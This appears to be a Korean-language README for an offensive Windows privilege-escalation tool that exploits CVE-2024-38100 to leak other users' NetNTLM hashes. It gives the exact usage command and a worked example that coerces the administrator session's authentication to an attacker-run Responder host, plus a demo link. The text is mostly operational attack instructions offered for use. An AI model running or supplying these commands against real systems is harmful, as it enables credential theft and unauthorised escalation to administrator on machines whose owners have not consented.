Leaked Wallpaper

KB5040434 업데이트에서 CVE-2024-38100으로 수정된 취약점을 이용하는 권한 상승 도구로, 낮은 권한의 사용자로 작업 중이더라도 컴퓨터의 모든 세션에서 사용자의 NetNTLM 해시를 유출할 수 있게 해줍니다.

사용법

.\LeakedWallpaper.exe <session> \\<KALI IP>\c$\1.jpg [-downgrade]

# Example
  .\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg -downgrade

데모

동영상

https://youtu.be/InyrqNeaZfQ

차단된 경우 demo.mkv를 참조하세요.

사진

호스트에 두 개의 세션이 있다고 가정해 봅시다.

• administrator는 권한 있는 계정이며, 우리가 얻고자 하는 것은 이 계정의 NetNTLM 해시입니다.
• exploit는 낮은 권한의 계정이며, 우리는 이 계정에서 작업하고 있습니다.

현재 세션 ID: 2 대상 세션 ID: 1

Responder IP: 172.16.0.5 Windows IP: 172.16.0.2

도구를 사용하여 administrator의 NetNTLM 해시를 얻어 봅시다!

.\LeakedWallpaper 1 \\172.16.0.5\c$\1.jpg

성공!